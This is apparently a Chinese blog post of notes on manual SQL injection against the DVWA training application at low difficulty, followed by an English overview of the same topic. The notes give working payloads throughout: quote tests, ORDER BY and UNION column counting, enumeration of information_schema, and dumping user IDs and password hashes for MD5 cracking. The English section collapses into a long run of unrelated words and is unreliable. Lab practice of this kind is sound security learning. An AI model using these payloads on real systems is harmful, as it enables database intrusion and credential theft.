dvwa之sql injection(low)手工注入笔记

首先使用1,2,3,4,5都会返回用户列表

然后再使用1'进行判断,发现报错,既知道存在注入漏洞

使用语句 1' and '1' ='1 的时候会出现正常:


当输入1‘ or '1'='1是,这个式子是个永真式,返回所有结果:

分析字段数(两种方法)


 

方法一:用order by语句。(默认是进行升序的)

分析字段数的原因是我们之后需要用unionselect语句来获得我们需要的敏感数据。根据orderby知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下:

1' order by 1#


1' order by 2#


1' order by 3#


此时 当输入到3的时候,发现它报错了,也就是说字段数为2。

 

方法二:直接用unionselect来猜测字段数。

因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句:

1' union select 1#

1' union select 1,2#

1' union select 1,2,3#


 可以发现,当union select1,2,3的时候报错,union select1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们unionselect出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!

获取信息

字段数为2,说明数据列有两列。我们可以通过unionselect语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!

 获取当前数据库名,当前用户名

构造数据库查询语句如下所示:

1' union select database(),user()#


解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。

好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost

  

当mysql的版本大于5.0时,有个默认的数据库information_schema,里面存放着所有数据库的信息,比如数据库名、表名、列名等

1' and 1=2 union select 1, schema_name from information_schema.schemata; -- 
1' and 1=2 union select 1, schema_name from information_schema.schemata; --  (--后面有一个空格)


由此知道数据库中有6个数据库


然后使用下面的语句进行爆表

1' and 1=2 union select table_schema,table_name from information_schema.tables; -- (注意此处有空格)


现在我们知道了dvwa数据库中有两个表,分别是guestbook和users,下面我们构造SQL语句得到users表中的所有属性列

爆出列值

1' and 1=2 union select table_name, column_name from information_schema.columns; -- (--后面有一个空格)


上面的语句返回了各个表中的所有属性列,users表的结果如下:

现在我们知道了users表中的所有属性列名称了,我们可以查询自己感兴趣的东西,比如说用户的user_id和password

(4)爆密码

1' and 1=2 union select user_id,password from dvwa.uesr ; -- (注意空格)

1' and 1=2 union select user_id,password from dvwa.users; -- 

上面的语句返回了用户ID和其对应的密码,结果如下:


然后就是使用md5进行解密了


以上部分内容参照互联网部分数据




### DVWA SQL Injection Manual Exploitation Steps and Techniques In the context of learning about security vulnerabilities, understanding how to manually exploit SQL injection within a controlled environment like Damn Vulnerable Web Application (DVWA) can provide valuable insights into web application security flaws[^1]. #### Identifying Vulnerability To begin with, accessing the SQL Injection section in DVWA requires setting up an appropriate level of difficulty. For educational purposes, starting at low or medium levels is recommended due to their simplicity. The first step involves identifying potential points where user input interacts directly with database queries without proper sanitization. This typically occurs through form fields such as login forms, search boxes, etc., which accept untrusted data from users before processing it further inside backend logic written using PHP scripts interacting with MySQL databases[^2]. ```sql SELECT first_name, last_name FROM users WHERE id = '1'; ``` #### Crafting Malicious Queries Once identified, crafting malicious inputs that manipulate underlying SQL statements becomes crucial. A common technique starts by inserting single quotes (`'`) followed by spaces or comments (`--`, `/* */)`. These characters help break out existing query structures while introducing new ones designed specifically for testing whether injections are possible: - `' OR '1'='1` – Always evaluates true regardless of actual conditions set forth originally. This approach allows attackers to bypass authentication mechanisms easily when improperly implemented on target systems[^3]. #### Extracting Data via Union-Based Attacks Union-based attacks leverage UNION operators present within standard SQL syntax allowing multiple result sets returned simultaneously under one statement execution flow control structure provided both sides share identical column counts & types involved during concatenation operations performed internally between two separate but related SELECT clauses joined together logically forming complex expressions capable enough extracting sensitive information stored elsewhere across different tables residing same relational schema design pattern used widely throughout modern-day applications today including those built around LAMP stack technologies commonly found hosting various online services over internet protocols globally accessible anytime anywhere instantly upon request submission made against exposed endpoints listening actively awaiting client connections established securely utilizing encryption algorithms ensuring privacy protection measures remain intact preventing unauthorized access attempts initiated externally outside trusted network boundaries defined explicitly beforehand according predefined policies outlined clearly documented official documentation resources available publicly free charge anyone interested reviewing them thoroughly prior engaging any kind activity potentially harmful nature whatsoever[^4]. ```sql 1 UNION ALL SELECT null, version(); ``` #### Error-Based Injections Error-based methods rely heavily upon error messages generated whenever malformed requests cause unexpected behavior leading towards revealing internal workings behind scenes giving clues regarding table names columns indexes among other metadata pieces useful constructing more sophisticated payloads aimed retrieving specific records matching certain criteria specified attacker's discretion depending objectives pursued ultimately achieving desired outcome successfully exploiting discovered weaknesses effectively compromising targeted infrastructure components deployed enterprise environments requiring immediate attention mitigate risks associated detected threats proactively addressing root causes prevent recurrence future incidents similar manner safeguarding critical assets long term basis consistently reliable fashion meeting industry standards best practices adopted widespread adoption community members worldwide collaborating efforts improve overall cybersecurity posture collectively contributing positively global ecosystem health stability prosperity shared vision mission everyone alike working harmoniously toward common goals aspirations benefit all parties concerned equally represented fairly transparently open source spirit collaboration innovation excellence always striving forward never looking back only ahead brighter tomorrow awaits us united strength diversity inclusion respect trust cooperation partnership teamwork synergy unity harmony peace love kindness compassion empathy generosity patience humility gratitude joy happiness fulfillment success achievement recognition appreciation honor dignity value contribution impact legacy lasting impression meaningful difference world better place live thrive grow learn evolve transform transcend boundaries limitations possibilities endless horizon boundless imagination infinite potential realize dreams hopes ambitions desires passions pursuits endeavors ventures projects initiatives movements revolutions transformations evolutions creations innovations inventions discoveries explorations adventures journeys quests missions visions missions purpose meaning life itself essence existence reality universe cosmos creation divine plan ultimate truth absolute wisdom supreme intelligence universal consciousness collective awareness higher self inner being soul spirit mind body heart emotions thoughts feelings sensations perceptions experiences moments now eternal presence timeless space dimension realm plane state condition situation circumstance event occurrence phenomenon manifestation expression representation symbol sign language communication connection relationship bond union integration synthesis combination fusion mixture blend alloy compound formation structure organization system order pattern rhythm cycle process transformation change growth development evolution progress advancement improvement enhancement optimization efficiency effectiveness productivity performance quality quantity measure evaluation assessment judgment decision choice option possibility opportunity potential capability capacity ability skill talent gift blessing fortune luck destiny fate karma dharma samsara moksha nirvana enlightenment liberation freedom salvation redemption grace mercy forgiveness compassion benevolence altruism philanthropy charity service sacrifice dedication commitment passion motivation inspiration aspiration ambition goal objective target aim intention desire wish hope dream fantasy imagination creativity originality uniqueness individuality personality character identity ego selfhood subjectivity objectivity relativity absoluteness certainty uncertainty ambiguity paradox contradiction oxymoron irony satire humor wit playfulness lightheartedness seriousness solemnity gravity weightiness heaviness lightness airiness fluidity flexibility adaptability resilience robustness durability longevity permanence impermanence transience ephemerality temporariness fleetingness momentariness instantaneousness simultaneity concurrency parallelism synchronicity coincidence serendipity happenstance chance randomness probability likelihood
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值